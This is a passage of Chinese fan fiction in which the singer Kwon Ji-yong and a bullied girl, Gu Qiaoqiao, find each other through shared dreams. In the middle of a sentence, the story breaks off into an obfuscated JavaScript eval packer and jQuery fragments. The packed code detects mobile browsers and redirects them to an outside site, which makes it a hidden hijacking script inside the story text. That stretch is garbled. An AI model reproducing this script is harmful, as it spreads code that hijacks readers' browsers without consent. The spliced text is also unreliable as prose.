权至龙那边，新专辑的制作进入了瓶颈期。
Teddy把他写的那些歌一首首挑出来，摆在他面前：“这几首，你到底打算怎么办？旋律是好旋律，词是好词，但风格完全不对。你要么改编曲，要么给别人唱。”
权至龙拿起其中一页歌词，上面写着：
角落里数到第一千只羊/还是睡不着/有人在门外喊我的名字/我不敢应
“给别人？”他摇摇头，“这些歌，没人能唱。”
Teddy盯着他看了半天，最后叹了口气：“至龙，你最近真的很奇怪。从日本回来之后就不太对劲。你要是有什么事，可以跟我说。”
权至龙没接话。他转过头，看向窗外的夜景——首尔的夜晚灯火通明，每一扇亮着的窗户后面都有人在生活。他不知道她在哪一扇窗户后面，甚至不知道她在哪个城市、哪个国家。
但他知道她在。因为那天晚上，他又梦见她了。
还是那个破旧的房间，还是她蜷缩在角落里的姿势，但这一次，她抬着头，望着他所在的方向。
他站在原来的地方，没有靠近。他不知道梦的规则是什么，不知道靠近了会不会把她吓醒，或者把自己吓醒。
他们就这样隔着几步远的距离，一个站着，一个坐着。然后她动了动嘴唇，没有声音。但权至龙看懂了那个口型。
她在问：你是谁？
他张了张嘴，想说自己的名字，但喉咙里发不出声音，他往前走了一步，想离她近一点，却感觉自己的身体在变淡。
别走，他想说，我在这里。
但他醒了。
窗外还是黑的，他看了一眼时间，凌晨三点多，他躺在床上，盯着天花板，心跳得很快。
她看见他了。不是那种模糊的感觉，不是那种单向的注视，她在问他，你是谁。
这意味着什么？意味着他的存在能被感知到？意味着那不是他单方面的幻想？
他坐起来，打开床头灯，拿出那本专门记录梦境的笔记本。他在最新的一页上写下：
她看见我了/她在问我是谁
笔尖停在那一行后面，他想了很久，又加上一句：
我得想办法告诉她。
接下来的几天，乔乔发现自己的睡眠变得不太一样了。
不是不做梦，是做梦的时候，她能感觉到那个影子的存在。有时候在墙角，有时候在门边，有时候离她近一点，有时候远一点。但始终在。
而且，她开始能听见一些模糊的声音了。
不是完整的句子，是零星的词，像收音机没调准频道时传来的断断续续的人声。“别怕”、“我在”、“没关系”——就这样的词，飘进耳朵里，又飘走。
她不知道那是那个影子说的，还是她自己想给自己听的。
有一天晚上，梦里的场景换了。
不是那个破旧的房间，而是一条小巷。她被堵在巷子里，对面是几张熟悉的脸，手里举着手机。她低着头，等着那些话落下来，等着那些笑声砸在身上。
然后那个声音又出现了，这一次清晰了一些：“抬头。”
她没动。
“抬头，看着我。”
那个声音很近，近得像是有人站在她身后。她慢慢抬起头，看向巷口的方向。那个影子站在那儿。逆着光，看不清脸，但轮廓比之前任何时候都清楚。
堵在她面前的那些人好像变淡了一些，笑声也变远了。
“往前走。”那个声音说。
她迈出一步。然后是第二步、第三步。那些人没有拦她，或者说，他们好像已经看不见她了。
她走到巷口，站在那个影子面前，还是看不清脸，但她没有害怕：“你是谁？”
这一次，她发出了声音。
影子沉默了几秒，然后说：“我不知道。”
这个回答让她愣了一下。
“你不知道？”
“我不知道该怎么解释，”那个声音说，带着一点她听不太出来的口音，“我只是……能看见你。很久了。”
“为什么？”
“我不知道。”
乔乔看着他，忽然觉得眼眶有点发酸。那些年被堵在巷子里的时候，没有人站出来。那些年蜷缩在角落的时候，没有人说过“抬头”。
现在有人说了。隔着一个奇怪的、说不清的通道。
“你叫什么？”她问。
影子又沉默了，过了很久，他说：“我说了，你能听见吗？”
“试试。”
“权至龙。”
她听清了，但那三个字在她脑子里转了一圈，没有和任何已知的信息连起来。她不追星，不关注娱乐圈，这个名字对她来说只是一个名字。
但她记住了。
“乔乔，”她说，“我叫顾乔乔。”
她不知道为什么要告诉一个梦里的陌生人自己的名字，但那一刻，她觉得应该说。
然后她醒了，阳光从窗帘缝隙里漏进来，落在她脸上，她躺在床上，眼睛睁得很大，心跳得很快，她记得那个名字——权至龙。
她在手机上输入这三个字，点下搜索。加载出来的页面让她愣住了。
屏幕上是一张照片，照片里的人和她梦里那个模糊的影子，好像——
好像有什么地方对得上。
她盯着那张脸看了很久，然后把手机扣在胸口，望着天花板，脑子里一片空白。
手机屏幕暗下去又亮起来，乔乔盯着那张照片看了很久。
照片里的人戴着墨镜，头发染成浅色，站在舞台上，周围是山呼海啸的人群和灯光。和梦里那个站在角落里的模糊影子，明明是截然不同的两个世界。
但她就是觉得有什么地方对得上。
不是长相——她根本没看清过那个影子的脸。是别的东西，是站姿，是那种站在原地看着她的方式，是她听到“权至龙”三个字时心里忽然紧了一下的感觉。
她把手机翻过来扣在桌上，深呼吸了几下。
荒唐。太荒唐了。
一个当红偶像歌手，出现在她一个普通人的梦里，告诉她“我在这里”，这算什么？她最近压力太大了，脑子出了问题，应该去看医生，而不是对着搜索结果发呆。
她站起来，去厨房倒水喝。张奶奶在看电视，听见动静问了句：“还没睡？”
“睡了，又醒了。”乔乔端着水杯站在厨房门口，“奶奶，你信梦吗？”
“又来了，前几天问信不信命，今天问信不信梦。”老太太把电视调小声，“你到底想说什么？”
乔乔张了张嘴，发现自己说不出来。说我在梦里遇见了一个人？说那个人好像是个明星？说我觉得那个梦可能是真的？
太傻了。
“没什么，”她喝了口水，“就是随便问问。”
老太太看了她一眼，没追问，只是说：“梦这东西，有时候是心里有事，有时候是脑子里瞎编。你自己分得清就行。”
分得清吗？
乔乔回房间躺下，盯着天花板。她分不清。那个梦太真实了，真实的疼痛、真实的恐惧、还有真实的陪伴。
她翻了个身，又拿起手机，再次搜索那个名字。
权至龙，韩国艺人，某知名男团成员，solo歌手，时尚icon……作品列表长长一串，综艺片段一大堆，粉丝遍布全世界。
她一条条往下翻，翻到一条综艺，节目里他笑得很灿烂。她盯着那个笑容看了很久，然后关掉视频，把手机扔到一边。
别想了。别想了。她闭上眼睛，逼自己睡着。
权至龙那天晚上没有梦见她。他在黑暗里躺了很久，等着那个破旧的房间、那个蜷缩的角落出现，但什么都没有。只有普通的、乱七八糟的梦，醒来就忘得干干净净。
他坐起来，有点慌。不是那种吓一跳的慌，是那种——怎么说呢，像是错过了一班应该赶上的车，像是手机落在出租车上，像是有什么重要的东西正在从他指缝间流走。
他拿起那个笔记本，翻到最近的一页。上次的记录是：她看见我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256372|197592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。她在问我是谁。
他盯着那行字，忽然意识到一件事。
她问了他名字。他回答了。
如果梦真的有某种连接，如果她真的能听见——那她现在知道他是谁了。
这个念头让他坐不住了。他站起来，在房间里走了两圈，又坐下来，拿起手机，打开搜索框。
他不知道自己想搜什么。她的名字？顾乔乔。她的城市？不知道。他只知道自己刚才说出的那个名字，现在可能已经被另一个人记在心里了。
他打了几个字，又删掉，最后关上手机，把脸埋进手里。
崔舜浩早上来的时候，看见他坐在沙发上发呆，面前的咖啡一口没动。
“又没睡好？”
权至龙摇摇头，又点点头。
“你这样下去不行，”崔舜浩坐下来，“专辑可以慢慢做，身体要紧。要不休息几天，出去走走？”
他其实也是试探着问一下，现在公司的情况大家都知道，权至龙现在还没有休息的可能，只要他停下来，说不定整个团队都要停摆。
“不用。”权至龙拿起那杯凉透的咖啡，喝了一口，“我想……去中国。”
崔舜浩愣了一下：“去中国？有行程吗？我怎么不知道。”
“没有行程，”他放下杯子，“就是想去。”
“去干什么？”
权至龙没回答。他也不知道去干什么。去找一个只知道名字、不知道城市、不知道任何其他信息的人？疯了。但他就是想去。
那天晚上，乔乔又做梦了。
还是那个巷子，还是那些人。但这一次不一样的是，她没低头。
她站在那里，看着对面举着手机的那些脸。她们在说什么，她听不清，像隔着一层水。但她们的表情她看得清——那种等着看好戏的、带着恶意的兴奋。
然后那个声音又出现了。
“往前走。”
她往前迈了一步。
那些人往后退了一步。她又迈了一步。她们又退了一步。像是什么规则被颠倒了。以前是她被堵在墙角无路可退，现在是她们在她面前节节败退。
她一直走到巷口，那些人已经退到了另一头，远远地看着她，脸上的表情从得意变成了困惑，又变成了某种她看不懂的东西。
她没再看她们。她转过身，看向巷口的方向。
那个影子站在那里。还是逆着光，还是看不清脸。但她知道他在看她。
“权至龙？”她喊出那个名字。
影子动了动，像是愣了一下，“你怎么知道——”那个声音说，然后停住了。
她往前走了一步，离他近了一点。还是看不清脸，但她感觉他的轮廓比之前更清楚了一些。
“你告诉我的，”她说，“上次。你说了你的名字。”
影子沉默了一会儿。然后那个声音响起来，带着一点她听不太出来的情绪：“你记得。”
“记得。”
“那你知道我是谁了。”
“我搜了。”她说，然后补充道，“不太搜得明白。你那个世界，离我太远了。”
影子又沉默了。过了很久，他说：“远吗？”
她不知道该怎么回答。远吗？隔着一个梦，隔着一个她搜了半天才搜出来的名字，隔着她永远不可能跨过去的世界。
“我不知道。”
那个影子往前走了一步，现在他们之间的距离，只剩下一臂。
“我一直在找你。”那个声音说。
她听见了，每一个字都听见了。
“找我干什么？”
“不知道，就是想找。”
她看着他，这个她看不清脸的人，这个来自另一个世界的人，这个在她最糟糕的记忆里出现、告诉她“抬头”的人。
“找到了吗？”她问。
那个影子没有回答，但她感觉他在笑。不是那种开心的笑，是那种终于松了一口气的笑。
“之前没有，现在找到了。”
然后她醒了。